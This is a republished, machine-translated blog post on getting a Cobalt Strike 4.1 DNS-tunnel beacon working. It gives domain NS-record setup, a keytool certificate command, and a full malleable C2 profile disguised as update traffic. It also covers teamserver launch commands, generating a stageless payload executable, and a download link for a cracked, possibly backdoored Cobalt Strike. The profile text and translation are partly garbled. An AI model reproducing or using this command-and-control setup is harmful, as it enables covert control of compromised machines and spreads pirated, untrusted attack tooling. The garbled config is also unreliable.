Shulou(Shulou.com)05/31 Report--

Today, I will talk to you about the example analysis of the DNS tunnel pit in CS. Many people may not know much about it. In order to make you understand better, the editor has summarized the following contents for you. I hope you can get something according to this article.

Preface

The recurrence of the DNS tunnel has been a failure. After reading countless articles and being poisoned by countless fellow humanities, my CS has finally been successfully launched.

Here, let's talk about the pit we stepped on in the process of reproduction, hoping to help some friends take fewer detours. I have limited level of details, and they also belong to conjectures and so on. You can share and discuss what you understand.

My configuration is as follows:

Ubuntu18 CVM of an unknown small factory + domain name purchased by godaddy + CS4.1.

The following is written in accordance with the process of launching the DNS tunnel.

Pit one: the choice of domain name purchase platform

The requirement of the domain name purchase platform is whether you can customize the NS record freely (if you don't quite understand this sentence, you can directly jump to "pit 3: domain name configuration").

For example, can you add a NS record that specifies that ns1.test.site points to www.test.site.

Many articles follow the rough purchase of godaddy.

But in the process of my reproduction, I once bought a very cheap domain name. After buying it, I found that I could not configure NS records freely, and the money was wasted.

After I bought it wrong, I finally chose the domain name of godaddy, and then my friend took a look at several big domestic factories that can also be configured freely.

Pit 2: the choice of CS version

Thanks to this boss's blog, which is well written, it involves the configuration of listeners and DNS traffic capture packet analysis, and mentions the problem of CS version:

Https://xz.aliyun.com/t/7938#toc-8

After the test of this boss, as well as my own verification, when some popular CS4.0 crackers do checkin operations, the teamserver server will not respond to the startup command (the black box will not turn blue).

So I finally chose to use the CS4.1 version.

My version 4.1 CS is found in a big guy's blog on the Internet. My younger brother is relatively lame, and I don't know if there is a back door or something. Put a link to the network disk here:

Link: https://pan.baidu.com/s/1c8aqkrfpEhajJ9o_KCByhA

Extraction code: di9v

Pit 3: configuration of domain name

The domain name is set as follows:

An A record points to the IP address of CS

Vpn.test.site = > IP address of CS

Several NS records point to the domain name corresponding to the A record (or only one can be written)

Ns1.test.site = > vpn.test.site

Ns2.test.site = > vpn.test.site

Ns3.test.site = > vpn.test.site

Here is a small detail. There is a TTL value in the domain name resolution. It is said that this thing is related to how long it takes to resolve the domain name. The minimum value set by many domestic manufacturers can be written as 60, and the minimum godaddy is 600. It is recommended to write this thing as the minimum allowed by the platform, and then increase it until the OK is tested. Generally, it can be adjusted to 600. 900.

Pothole 4: occupancy of port 53

My CVM is ubuntu18. When I execute the netsta command, I will see that a service occupies port 53. This service is systemd-resolved and needs to be shut down.

The shutdown method is simple:

Systemctl stop systemd-resolved

If the service is not turned off, there is obviously an error when setting up the DNS listener, which is actually a port conflict.

Many nslookup that people like to write get a response of 0.0.0.0. At this time, nslookup does not respond.

Some friends will change the port number of bindto. For example, it looks like there is no error in my picture, but it doesn't work.

There is still no response when going to nslookup.

Now shut down the service, and then nslookup finds a response, which is 8.8.4.4, which is corresponding to profile, so it is different from 0.0.0.0 of the same humanities (which will be discussed later in "pothole 5: profile configuration").

I have also done a test here. Whether the port of bindto is empty or specified, nslookup is responsive.

My personal guess is that the DNS service of CS has nothing to do with the port of bindto, but with port 53.

The port of bindto is similar to the port that msf specifies to handle matters when establishing a connection

Port 53 is the key point for CS to really listen to DNS and send and receive messages, so it cannot be occupied.

Pit 5: configuration of profile

Thanks to the blog content of the two bosses:

Https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/ (talking about CS traffic hiding, here is the initial command to generate the store file)

Https://www.nctry.com/1655.html (the content of my profile was picked up and changed from the boss)

Generation of store files

Delete the original cobaltstrike.store on the server side as shown in the figure

(I use finalshell here. You can view, modify, upload and download files on the server while being controlled by ssh. Recommend a wave, which is easy to use. Download address: http://www.hostbuf.com/)

Using keytool to generate store file

Keytool-keystore cobaltstrike.store-storepass 123456-keypass 123456-genkey-keyalg RSA-alias baidu.com-dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"

Explain:

The name of the keystore store file keystore in profile should be the same as the keystore here. I use the name cobaltstrike.store.

The password in the keypass certificate password profile should be the same as the keypass set here. I use 123456 of the following profile.

The alias in the alias alias profile should be the same as the alias here. My following profile has been consistent, using baidu.com.

The https-certificate in the dname certificate content profile should be the same as here, and the profile below has been consistent.

The password of the storepass store file was pulled out separately by me to say, because this is not consistent with profile, it is consistent with teamserver. Vim teamserver opens teamserver, moves the cursor to the end of the file, and you can see as shown in the figure.

The default store file password for teamserver is 123456. When I generate it here, I will directly set the password to 123456.

Changing the port number can hide the CS feature, but when the client connects to the server, don't forget to change the port number of the connection

Contents of the profile file

The following content is saved and named C2.profile, and uploaded to the server side

The dns_idle in this can be configured on its own. What I set here is 8.8.4.4, which is why when I nslookup ns1.test.site, I respond to 8.8.4.4 instead of 0.0.0.0 in the same humanities.

Set sample_name "tryblog POS Malware"; set sleeptime "5000"; # use a ~ 30s delay between callbacksset jitter "10"; # throw in a 10% jitterset useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; # set the certificate, note that the following must be the same as the certificate you generated earlier: https-certificate {set CN "CC"; set O "IBM" Set C "AV"; set L "AD"; set OU "HW"; set ST "AC"; set validity "365";} # setting, change to your certificate name and certificate password code-signer {set keystore "cobaltstrike.store"; set password "123456"; set alias "baidu.com" } # specify IP address set dns_idle "8.8.4.4" when DNS beacon is not in use; # mandatory sleep time set dns_sleep "0" before each individual DNS request; # maximum length of hostname [0255] set maxdns "235" when uploading data through DNS; http-post {set uri "/ windebug/updcheck.php / aircanada/dark.php / aero2/fly.php / windowsxp/updcheck.php / hello/flash.php" Client {header "Accept"text/plain"; header "Accept-Language"en-us"; header "Accept-Encoding"text/plain"; header "Content-Type"application/x-www-form-urltrytryd"; id {netbios; parameter "id";} output {base64 Prepend "& op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print;}} server {output {print;} http-get {set uri "/ updates"; client {metadata {netbiosu; prepend "user="; header "Cookie" }} server {header "Content-Type"text/plain"; output {base64; print;}} start CS through profile

The command to start CS through profile:

. / IP address of teamserver CS. / password set by yourself. / C2.profile

Of course, you can also run in the background:

The password set by the IP address of nohup. / teamserver CS. / C2.profile &

Pit 6: the setting of the listener

For a detailed analysis of this part, you can take a look at the boss's blog: https://xz.aliyun.com/t/7938#toc-8

To put it simply, many people like to insert A-recorded domain names into their listeners.

But the actual situation is that after CS4.0, what you need to write in the upper and lower boxes is the domain name of the NS record. In the box below (stager), you only need to choose one of the NS records in the big box above to write it.

On-line time

And then there's the time to go online with a hand.

To generate an exe horse and choose the stageless one, one reason is that this dns has an x64 version, and another main reason is that this is a complete horse. If you choose another one, the accused machine and the CS server will not start online communication until they finish downloading stage data, which is too slow.

When the virtual machine runs the CS horse, there is a black box on the CS, and usually the http channel is directly blue.

Just right-click to enter beacon, and then type chekin. After a while, the black box turns blue, and then you can interact normally.

Enter a whoami to test, wait for the end of the "cordial and friendly communication" between CS and the controlled machine, and return the success.

End

The above is the pit I stepped on when I was groping for the DNS tunnel during this period of time. I hope it will be helpful to some friends. Finally, there are some things I don't understand, such as why there is no response if you don't start CS with profile. Welcome to share and discuss.

The following is a guess:

I have an idea that CS starts up with the help of profile. I change the 8.8.4.4 in C2.profile to 0.0.0.0 and fail without response, and I can succeed by changing it to 23.234.234.234 (random typing). So I suspect that the impact of 0.0.0.0 on DNS launch is 0.0.0.0 in the default CS tool setting, so it leads to all kinds of problems all the time. Until I accidentally modified profile and used it, which was equivalent to replacing 0.0.0.0, and then launched successfully.

After reading the above, do you have any further understanding of the example analysis of the DNS tunnel crater in CS? If you want to know more knowledge or related content, please follow the industry information channel, thank you for your support.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.